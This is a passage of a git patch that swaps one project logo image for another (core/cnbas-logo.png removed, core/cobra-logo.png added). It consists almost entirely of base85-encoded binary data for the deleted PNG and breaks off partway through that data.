--- core/cnbas-logo.png | Bin 1022736 -> 0 bytes core/cobra-logo.png | Bin 0 -> 51793 bytes 2 files changed, 0 insertions(+), 0 deletions(-) delete mode 100644 core/cnbas-logo.png create mode 100644 core/cobra-logo.png diff --git a/core/cnbas-logo.png b/core/cnbas-logo.png deleted file mode 100644 index 90fc4c628fa6735860316004e59b4b25bd5b2a34..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1022736 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 